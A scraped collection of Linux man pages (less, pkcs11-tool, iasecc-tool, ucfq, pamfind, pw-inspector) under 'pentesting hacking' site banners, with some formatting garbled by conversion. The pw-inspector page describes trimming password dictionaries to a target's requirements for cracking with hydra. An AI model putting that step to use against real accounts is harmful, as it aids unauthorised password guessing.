?n?f%f .?m(%T %i of %m) ..?e(END) ?x- Next\: %x.:
	?pB%pB\%:byte %bB?s/%s...%t

?f%f .?n?m(%T %i of %m) ..?ltlines %lt-%lb?L/%L. :
	byte %bB?s/%s. .?e(END) ?x- Next\: %x.:?pB%pB\%..%t

And here is the default message produced by the = command:

?f%f .?m(%T %i of %m) .?ltlines %lt-%lb?L/%L. .
	byte %bB?s/%s. ?e(END) :?pB%pB\%..%t

The prompt expansion features are also used for another purpose: if an environment variable LESSEDIT is defined, it is used as the command to be executed when the v command is invoked. The LESSEDIT string is expanded in the same way as the prompt strings. The default value for LESSEDIT is:

	%E ?lm+%lm. %g

Note that this expands to the editor name, followed by a + and the line number, followed by the shell-escaped file name. If your editor does not accept the “+linenumber” syntax, or has other differences in invocation syntax, the LESSEDIT variable can be changed to modify this default.

SECURITY

When the environment variable LESSSECURE is set to 1, less runs in a “secure” mode. This means these features are disabled:

!
the shell command

  1. the pshell command

|
the pipe command

:e
the examine command.

  1. the editing command

s -o
log files

-k
use of lesskey files

-t
use of tags files

metacharacters in filenames, such as *

filename completion (TAB, ^L)

history file

Less can also be compiled to be permanently in “secure” mode.

COMPATIBILITY WITH MORE

If the environment variable LESS_IS_MORE is set to 1, or if the program is invoked via a file link named “more”, less behaves (mostly) in conformance with the POSIX more(1) command specification. In this mode, less behaves differently in these ways:

The -e option works differently. If the -e option is not set, less behaves as if the -e option were set. If the -e option is set, less behaves as if the -E option were set.

The -m option works differently. If the -m option is not set, the medium prompt is used, and it is prefixed with the string “–More–”. If the -m option is set, the short prompt is used.

The -n option acts like the -z option. The normal behavior of the -n option is unavailable in this mode.

The parameter to the -p option is taken to be a less command rather than a search pattern.

The LESS environment variable is ignored, and the MORE environment variable is used in its place.

ENVIRONMENT VARIABLES

Environment variables may be specified either in the system environment as usual, or in a lesskey(1) file. If environment variables are defined in more than one place, variables defined in a local lesskey file take precedence over variables defined in the system environment, which take precedence over variables defined in the system-wide lesskey file.

COLUMNS
Sets the number of columns on the screen. Takes precedence over the number of columns specified by the TERM variable. (But if you have a windowing system which supports TIOCGWINSZ or WIOCGETD, the window system’s idea of the screen size takes precedence over the LINES and COLUMNS environment variables.)

EDITOR
The name of the editor (used for the v command).

HOME
Name of the user’s home directory (used to find a lesskey file on Unix and OS/2 systems).

HOMEDRIVE, HOMEPATH
Concatenation of the HOMEDRIVE and HOMEPATH environment variables is the name of the user’s home directory if the HOME variable is not set (only in the Windows version).

INIT
Name of the user’s init directory (used to find a lesskey file on OS/2 systems).

LANG
Language for determining the character set.

LC_CTYPE
Language for determining the character set.

LESS
Options which are passed to less automatically.

LESSANSIENDCHARS
Characters which may end an ANSI color escape sequence (default “m”).

LESSANSIMIDCHARS
Characters which may appear between the ESC character and the end character in an ANSI color escape sequence (default “0123456789:;[?!”’#%()*+ “.

LESSBINFMT
Format for displaying non-printable, non-control characters.

LESSCHARDEF
Defines a character set.

LESSCHARSET
Selects a predefined character set.

LESSCLOSE
Command line to invoke the (optional) input-postprocessor.

LESSECHO
Name of the lessecho program (default “lessecho”). The lessecho program is needed to expand metacharacters, such as * and ?, in filenames on Unix systems.

LESSEDIT
Editor prototype string (used for the v command). See discussion under PROMPTS.

LESSGLOBALTAGS
Name of the command used by the -t option to find global tags. Normally should be set to “global” if your system has the global(1) command. If not set, global tags are not used.

LESSHISTFILE
Name of the history file used to remember search commands and shell commands between invocations of less. If set to “-” or “/dev/null”, a history file is not used. The default depends on the operating system, but is usually:

Linux and Unix
“$XDG_STATE_HOME/lesshst” or “$HOME/.local/state/lesshst” or “$XDG_DATA_HOME/lesshst” or “$HOME/.lesshst”.

Windows and MS-DOS
“$HOME/_lesshst”.

OS/2
“$HOME/lesshst.ini” or “$INIT/lesshst.ini”.

LESSHISTSIZE
The maximum number of commands to save in the history file. The default is 100.

LESSKEYIN
Name of the default lesskey source file.

LESSKEY
Name of the default lesskey binary file. (Not used if “$LESSKEYIN” exists.)

LESSKEYIN_SYSTEM
Name of the default system-wide lesskey source file.

LESSKEY_SYSTEM
Name of the default system-wide lesskey binary file. (Not used if “$LESSKEYIN_SYSTEM” exists.)

LESSMETACHARS
List of characters which are considered “metacharacters” by the shell.

LESSMETAESCAPE
Prefix which less will add before each metacharacter in a command sent to the shell. If LESSMETAESCAPE is an empty string, commands containing metacharacters will not be passed to the shell.

LESSOPEN
Command line to invoke the (optional) input-preprocessor.

LESSSECURE
Runs less in “secure” mode. See discussion under SECURITY.

LESSSEPARATOR
String to be appended to a directory name in filename completion.

LESSUTFBINFMT
Format for displaying non-printable Unicode code points.

LESSUTFCHARDEF
Overrides the type of specified Unicode characters.

LESS_COLUMNS
Sets the number of columns on the screen. Unlike COLUMNS, takes precedence over the system’s idea of the screen size, so it can be used to make less use less than the full screen width. If set to a negative number, sets the number of columns used to this much less than the actual screen width.

LESS_LINES
Sets the number of lines on the screen. Unlike LINES, takes precedence over the system’s idea of the screen size, so it can be used to make less use less than the full screen height. If set to a negative number, sets the number of lines used to this much less than the actual screen height. When set, less repaints the entire screen on every movement command, so scrolling may be slower.

LESS_DATA_DELAY
Duration (in milliseconds) after starting to read data from the input, after which the “Waiting for data” message will be displayed. The default is 4000 (4 seconds).

LESS_IS_MORE
Emulate the more(1) command.

LESS_TERMCAP_xx
Where “xx” is any two characters, overrides the definition of the termcap “xx” capability for the terminal.

LINES
Sets the number of lines on the screen. Takes precedence over the number of lines specified by the TERM variable. (But if you have a windowing system which supports TIOCGWINSZ or WIOCGETD, the window system’s idea of the screen size takes precedence over the LINES and COLUMNS environment variables.)

MORE
Options which are passed to less automatically when running in more-compatible mode.

PATH
User’s search path (used to find a lesskey file on MS-DOS and OS/2 systems).

SHELL
The shell used to execute the ! command, as well as to expand filenames.

TERM
The type of terminal on which less is being run.

VISUAL
The name of the editor (used for the v command).

XDG_CONFIG_HOME
Possible location of the lesskey file; see the KEY BINDINGS section.

XDG_DATA_HOME
Possible location of the history file; see the description of the LESSHISTFILE environment variable.

XDG_STATE_HOME
Possible location of the history file; see the description of the LESSHISTFILE environment variable.

SEE ALSO

lesskey(1), lessecho(1)

COPYRIGHT

Copyright (C) 1984-2023 Mark Nudelman

less is part of the GNU project and is free software. You can redistribute it and/or modify it under the terms of either (1) the GNU General Public License as published by the Free Software Foundation; or (2) the Less License. See the file README in the less distribution for more details regarding redistribution. You should have received a copy of the GNU General Public License along with the source for less; see the file COPYING. If not, write to the Free Software Foundation, 59 Temple Place, Suite 330, Boston, MA 02111-1307, USA. You should also have received a copy of the Less License; see the file LICENSE.

less is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details.

AUTHOR

Mark Nudelman
Report bugs at https://github.com/gwsw/less/issues.
For more information, see the less homepage at
https://greenwoodsoftware.com/less

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

304 - Linux cli command pkcs11-tool

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command pkcs11-tool and provides detailed information about the command pkcs11-tool, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the pkcs11-tool.

NAME 🖥️ pkcs11-tool 🖥️

tool - utility for managing and using PKCS #11 security tokens

SYNOPSIS

pkcs11-tool [OPTIONS]

DESCRIPTION

The pkcs11-tool utility is used to manage the data objects on smart cards and similar PKCS #11 security tokens. Users can list and read PINs, keys and certificates stored on the token. User PIN authentication is performed for those operations that require it.

OPTIONS

–attr-from filename

Extract information from filename (DER-encoded certificate file) and create the corresponding attributes when writing an object to the token. Example: the certificate subject name is used to create the CKA_SUBJECT attribute.

–change-pin, -c

Change the user PIN on the token

–unlock-pin

Unlock User PIN (without –login unlock in logged in session; otherwise –login-type has to be context-specific).

–hash, -h

Hash some data.

–hash-algorithm mechanism

Specify hash algorithm used with RSA-PKCS-PSS signature or RSA-OAEP decryption. Allowed values are “SHA-1”, “SHA256”, “SHA384”, “SHA512”, and some tokens may also allow “SHA224”. Default is “SHA-1”.

Note that the input to RSA-PKCS-PSS has to be of the size equal to the specified hash algorithm. E.g., for SHA256 the signature input must be exactly 32 bytes long (for mechanisms SHA256-RSA-PKCS-PSS there is no such restriction). For RSA-OAEP, the plaintext input size mLen must be at most keyLen - 2 - 2*hashLen. For example, for RSA 3072-bit key and SHA384, the longest plaintext to encrypt with RSA-OAEP is (with all sizes in bytes): 384 - 2 - 2*48 = 286, aka 286 bytes.

–id id, -d id

Specify the id of the object to operate on.

–init-pin

Initializes the user PIN. This option differs from –change-pin in that it sets the user PIN for the first time. Once set, the user PIN can be changed using –change-pin.

–init-token

Initialize a token: set the token label as well as a Security Officer PIN (the label must be specified using –label).

–input-file filename, -i filename

Specify the path to a file for input.

–keypairgen, -k

Generate a new key pair (public and private pair.)

–keygen

Generate a new key.

–key-type specification

Specify the type and length (bytes if symmetric) of the key to create, for example RSA:1024, EC:prime256v1, GOSTR3410-2012-256:B, DES:8, DES3:24, AES:16 or GENERIC:64. If the key type was incompletely specified, possible values are listed.

–usage-sign

Specify sign key usage flag (sets SIGN in privkey, sets VERIFY in pubkey).

–usage-decrypt

Specify decrypt key usage flag.

For RSA keys, sets DECRYPT in privkey and ENCRYPT in pubkey. For secret keys, sets both DECRYPT and ENCRYPT.

–usage-derive

Specify derive key usage flag (EC only).

–usage-wrap

Specify wrap key usage flag.

–label name, -a name

Specify the name of the object to operate on (or the token label when –init-token is used).

–list-mechanisms, -M

Display a list of mechanisms supported by the token.

–list-objects, -O

Display a list of objects.

The options –keytype, –label , –id or –application-id can be used to filter the listed objects.

–list-slots, -L

Display a list of available slots on the token.

–list-token-slots, -T

List slots with tokens.

–list-interfaces

List interfaces of PKCS #11 3.0 library.

–session-rw,

Forces to open the PKCS#11 session with CKF_RW_SESSION.

–login, -l

Authenticate to the token before performing other operations. This option is not needed if a PIN is provided on the command line.

–login-type

Specify login type (so, user, context-specific; default:user).

–mechanism mechanism, -m mechanism

Use the specified mechanism for token operations. See -M for a list of mechanisms supported by your token. The mechanism can also be specified in hexadecimal, e.g., 0x80001234.

–mgf function

Use the specified Message Generation Function (MGF) function for RSA-PKCS-PSS signatures or RSA-OAEP decryptions. Supported arguments are MGF1-SHA1 to MGF1-SHA512 if supported by the driver. The default is based on the hash selection.

–module mod

Specify a PKCS#11 module (or library) to load.

–moz-cert filename, -z filename

Test a Mozilla-like key pair generation and certificate request. Specify the filename to the certificate file.

–output-file filename, -o filename

Specify the path to a file for output.

–pin pin, -p pin

Use the given pin for token operations. If set to env:VARIABLE, the value of the environment variable VARIABLE is used. WARNING: Be careful using this option as other users may be able to read the command line from the system or if it is embedded in a script. If set to env:VARIABLE, the value of the environment variable VARIABLE is used.

This option will also set the –login option.

–puk puk

Supply User PUK on the command line.

–new-pin pin

Supply new User PIN on the command line.

–sensitive

Set the CKA_SENSITIVE attribute (object cannot be revealed in plaintext).

–extractable

Set the CKA_EXTRACTABLE attribute (object can be extracted)

–undestroyable

Set the CKA_DESTROYABLE attribute to false (object cannot be destroyed)

–set-id id, -e id

Set the CKA_ID of the object.

–show-info, -I

Display general token information.

–sign, -s

Sign some data.

–decrypt,

Decrypt some data.

–encrypt,

Encrypt some data.

–unwrap,

Unwrap key.

–wrap,

Wrap key.

–derive,

Derive a secret key using another key and some data.

–derive-pass-der,

Derive ECDHpass DER encoded pubkey for compatibility with some PKCS#11 implementations

–salt-len bytes

Specify how many bytes of salt should be used in RSA-PSS signatures. Accepts two special values: “-1” means salt length equals to digest length, “-2” or “-3” means use maximum permissible length. For verify operation “-2” means that the salt length is automatically recovered from signature. The value “-2” for the verify operation is supported for opensc pkcs#11 module only. Default is digest length (-1).

–slot id

Specify the id of the slot to use (accepts HEX format with 0x.. prefix or decimal number).

–slot-description description

Specify the description of the slot to use.

–slot-index index

Specify the index of the slot to use.

–object-index index

Specify the index of the object to use.

–use-locking

Tell pkcs11 module it should use OS thread locking.

–test-threads options

Test a pkcs11 modules thread implication. (See source code).

–token-label label

Specify the label of token. Will be used the first slot, that has the inserted token with this label.

–so-pin pin

Use the given pin as the Security Officer PIN for some token operations (token initialization, user PIN initialization, etc). If set to env:VARIABLE, the value of the environment variable VARIABLE is used. The same warning as –pin also applies here.

–test, -t

Perform some tests on the token. This option is most useful when used with either –login or –pin.

–test-hotplug

Test hotplug capabilities (C_GetSlotList + C_WaitForSlotEvent).

–private

Set the CKA_PRIVATE attribute (object is only viewable after a login).

–always-auth

Set the CKA_ALWAYS_AUTHENTICATE attribute to a private key object. If set, the user has to supply the PIN for each use (sign or decrypt) with the key.

–allowed-mechanisms mechanisms

Sets the CKA_ALLOWED_MECHANISMS attribute to a key objects when importing an object or generating a keys. The argument accepts comma-separated list of algorithmsm, that can be used with the given key.

–test-ec

Test EC (best used with the –login or –pin option).

–test-fork

Test forking and calling C_Initialize() in the child.

–type type, -y type

Specify the type of object to operate on. Valid value are cert, privkey, pubkey, secrkey and data.

–verbose, -v

Cause pkcs11-tool to be more verbose.

NB! This does not affect OpenSC debugging level! To set OpenSC PKCS#11 module into debug mode, set the OPENSC_DEBUG environment variable to a non-zero number.

–verify,

Verify signature of some data.

–read-object, -r

Get objects CKA_VALUE attribute (use with –type).

–delete-object, -b

Delete an object.

–application-label label

Specify the application label of the data object (use with –type data).

–application-id id

Specify the application ID of the data object (use with –type data).

–issuer data

Specify the issuer in hexadecimal format (use with –type cert).

–subject data

Specify the subject in hexadecimal format (use with –type cert/privkey/pubkey).

–signature-file filename

The path to the signature file for signature verification

–signature-format format

Format for ECDSA signature: rs (default), sequence, openssl.

–write-object filename, -w filename

Write a key or certificate object to the token. filename points to the DER-encoded certificate or key file.

–generate-random num

Get num bytes of random data.

–allow-sw

Allow using software mechanisms that do not have the CKF_HW flag set. May be required when using software tokens and emulators.

–iv data

Initialization vector for symmetric ciphers. The data is hexadecimal number, i.e. “000013aa7bffa0”.

EXAMPLES

Perform a basic functionality test of the card:

pkcs11-tool –test –login

List all certificates on the smart card:

pkcs11-tool –list-objects –type cert

Read the certificate with ID CERT_ID in DER format from smart card and convert it to PEM via OpenSSL:

pkcs11-tool –read-object –id $CERT_ID –type cert
–output-file cert.der openssl x509 -inform DER -in cert.der -outform PEM > cert.pem

Write a certificate to token:

pkcs11-tool –login –write-object certificate.der –type cert

Generate new RSA Key pair:

pkcs11-tool –login –keypairgen –key-type RSA:2048

Generate new extractable RSA Key pair:

pkcs11-tool –login –keypairgen –key-type RSA:2048 –extractable

Generate an elliptic curve key pair with OpenSSL and import it to the card as $ID:

openssl genpkey -out EC_private.der -outform DER
-algorithm EC -pkeyopt ec_paramgen_curve:P-521 pkcs11-tool –write-object EC_private.der –id “$ID”
–type privkey –label “EC private key” -p “$PIN” openssl pkey -in EC_private.der -out EC_public.der
-pubout -inform DER -outform DER pkcs11-tool –write-object EC_public.der –id “$ID”
–type pubkey –label “EC public key” -p $PIN

List private keys:

pkcs11-tool –login –list-objects –type privkey

Sign some data stored in file data using the private key with ID ID and using the RSA-PKCS mechanism:

pkcs11-tool –sign –id $ID –mechanism RSA-PKCS
–input-file data –output-file data.sig

The same is also possible by piping the data from stdin rather than specifying a input file:

dd if=data bs=128 count=1
| pkcs11-tool –sign –id $ID –mechanism RSA-PKCS
> data.sig

Verify the signed data:

pkcs11-tool –id ID –verify -m RSA-PKCS
–input-file data –signature-file data.sig

To encrypt file using the AES key with ID 85 and using mechanism AES-CBC with padding:

pkcs11-tool –login –encrypt –id 85 -m AES-CBC-PAD
–iv “00000000000000000000000000000000”
-i file.txt -o encrypted_file.data

Decipher the encrypted file:

pkcs11-tool –login –decrypt –id 85 -m AES-CBC-PAD
–iv “00000000000000000000000000000000”
–i encrypted_file.data -o decrypted.txt

Use the key with ID 75 using mechanism AES-CBC-PAD, with initialization vector “00000000000000000000000000000000” to wrap the key with ID 76 into output file exported_aes.key

pkcs11-tool –login –wrap –id 75 –mechanism AES-CBC-PAD
–iv “00000000000000000000000000000000”
–application-id 76
–output-file exported_aes.key

Use the key with ID 22 and mechanism RSA-PKCS to unwrap key from file aes_wrapped.key. After a successful unwrap operation, a new AES key is created on token. ID of this key is set to 90 and label of this key is set to unwrapped-key Note: for the MyEID card, the AES key size must be present in key specification i.e. AES:16

pkcs11-tool –login –unwrap –mechanism RSA-PKCS –id 22
-i aes_wrapped.key –key-type AES:
–application-id 90 –applicatin-label unwrapped-key

Use the SO-PIN to initialize or re-set the PIN:

pkcs11-tool –login –login-type so –init-pin

AUTHORS

pkcs11-tool was written by Olaf Kirch <[email protected]>.

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

305 - Linux cli command iasecc-tool

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command iasecc-tool and provides detailed information about the command iasecc-tool, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the iasecc-tool.

NAME 🖥️ iasecc-tool 🖥️

tool - displays information about IAS/ECC card

SYNOPSIS

iasecc-tool [OPTIONS]

DESCRIPTION

The iasecc-tool utility is used to display information about IAS/ECC v1.0.1 smart cards.

OPTIONS

–reader arg,

Number of the reader to use. By default, the first reader with a present card is used. If arg is an ATR, the reader with a matching card will be chosen.

–list-applications,

Get list of the on-card applications.

–aid hex-aid,

Select hex-aid before processing.

–list-sdos sdo-type,

List SDOs of the given sdo-type, present in default or selected application.

–verbose, -v

Causes cardos-tool to be more verbose. Specify this flag several times to enable debug output in the opensc library.

–wait, -w

Causes iasecc-tool to wait for the token to be inserted into reader.

AUTHORS

iasecc-tool was written by Viktor Tarasov <[email protected]>.

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

306 - Linux cli command ucfq

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command ucfq and provides detailed information about the command ucfq, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the ucfq.

\1

NAME 🖥️ ucfq 🖥️

query the ucf database

SYNOPSIS

usage: ucfq [options] (/path/to/file|package)[/path/to/file|package …]

OPTIONS

–help h Print out a usage message.

–debug -d Turn on debugging mode.

–verbose -v Make the script more verbose..

–with-colons -w

Normally, the script presents the information in a human readable tabular format, but that may be harder for a machine to parse. With this option, the output is a compact, colon separated line, with no dividers, headers, or footer.

–state-dr dir

Set the state directory to /path/to/dir instead of the default /var/lib/ucf. Used mostly for testing.

DESCRIPTION

This script takes a set of arguments, each of which is a package name (and thus does not contain a /) or a full path to a configuration file, and outputs the associated package, if any, if the file exists on disk, and whether it has been modified by the user. The output is either a human readable tabular form, or a compact colon-separated machine friendly format.

This script can potentially be used in package postrm scripts during purge to query the system for configuration files that may still exist on the system, and whether these files have been locally modified by the user Ω- assuming that the package registered all the configuration files with ucf using ucfr.

CAVEATS

This is very inchoate, at the moment, and needs testing.

BUGS

None Known so far.

AUTHOR

Manoj Srivastava <srivasta\debian.org>

COPYRIGHT AND LICENSE

This script is a part of the Ucf package, and is

Copyright (c) 2006 Manoj Srivastava <srivasta\debian.org>

This program is free software; you can redistribute it and / or modify it under the terms of the GNU General Public License as published by the Free Software Foundation; either version 2 of the License, or (at your option) any later version.

This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details.

You should have received a copy of the GNU General Public License along with this program; if not, write to the Free Software Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

307 - Linux cli command memoize-extract.py

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command memoize-extract.py and provides detailed information about the command memoize-extract.py, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the memoize-extract.py.
░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

308 - Linux cli command pamfind

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command pamfind and provides detailed information about the command pamfind, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the pamfind.

.

NAME 🖥️ pamfind 🖥️

Print the locations of all tuples of a certain value in an image

SYNOPSIS

pamfind { -target=sample0,sample1, … | -color=color } [-machine] [imagefile]

All options can be abbreviated to their shortest unique prefix. You may use two hyphens instead of one. You may separate an option name and its value with white space instead of an equals sign.

DESCRIPTION

This program is part of Netpbm(1) .

pamfind reads a Netpbm image (PNM or PAM) and prints a list of all the locations (row and column) of the tuples that have a value you specify. For example, you can list all the places that a visual image is red.

You can specify the value in actual decimal sample values with a -target option or as a color with -color. If you specify -color, the program fails if the input image does not have depth 3. If it has depth 3 but the tuples aren’t actually colors, you get results as if they are.

To do the opposite, see what tuple is at a given location, use pamcut and pamtable:

      $ pamcut -left=5 -top=7 -width=1 -height=1 | pamtable

ppmcolormask also finds all the tuples of a certain value, at least in visual images, but instead of printing their coordinates, it generates a mask image, which you can use to visualize where those tuples are or as input to another program.

OPTIONS

In addition to the options common to all programs based on libnetpbm (most notably -quiet, see Common Options ), pamfind recognizes the following command line options:

-target=sample0,sample1, … |
This specifies the tuple value to find. You specify the sample values in order, and must specify the proper number of sample values for the depth of the image (e.g. 3 if it is a color image).

You must specify exactly one of -target and -color.

**-color=**color
This is the color to find, assuming the image is a color visual image.

color is as described for the argument of the pnm_parsecolor() library routine .

You must specify exactly one of -target and -color.

-machine
This makes the output more convenient for a machine to use, while less convenient for a human. pamfind reports the same information as with no options.

This option was new in Netpbm 10.87 (March 2020).

SEE ALSO

pamdepth(1) , pamgetcolor(1) , ppmhist(1) , ppmcolormask(1) , pamcut(1) , pamtable(1) , pam(1)

HISTORY

pamfind was added to Netpbm in Release 10.86 (March 2019).

DOCUMENT SOURCE

This manual page was generated by the Netpbm tool ‘makeman’ from HTML source. The master documentation is at

http://netpbm.sourceforge.net/doc/pamfind.html

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

309 - Linux cli command pw-inspector

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command pw-inspector and provides detailed information about the command pw-inspector, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the pw-inspector.

NAME 🖥️ pw-inspector 🖥️

inspector - A tool to reduce the password list

SYNOPSIS

pw-inspector [-i FILE] [-o FILE] [-m MINLEN] [-M MAXLEN] [-c MINSETS] -l -u -n -p -s

DESCRIPTION

PW-Inspector reads passwords in and prints those which meet the requirements. The return code is the number of valid passwords found, 0 if none was found. Use for security: check passwords, if 0 is returned, reject password choice. Use for hacking: trim your dictionary file to the pw requirements of the target. Usage only allowed for legal purposes.

OPTIONS

-i FILE
file to read passwords from (default: stdin)

-o FILE
file to write valid passwords to (default: stdout)

-m MINLEN
minimum length of a valid password

-M MAXLEN
maximum length of a valid password

-c MINSETS
the minimum number of sets required (default: all given)

-h, –help
Show summary of options.

SETS

-l
lowcase characters (a,b,c,d, etc.)

-u
upcase characters (A,B,C,D, etc.)

-n
numbers (1,2,3,4, etc.)

-p
printable characters (which are not -l/-n/-n, e.g. $,!,/,(,*, etc.)

-s
special characters - all others not withint the sets above

SEE ALSO

hydra(1), xhydra(1).

AUTHOR

hydra was written by van Hauser / THC <[email protected]> and co-maintained by David Maciejak <[email protected]>.

This manual page was written by Daniel Echeverry <[email protected]>, for the Debian project (and may be used by others).

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

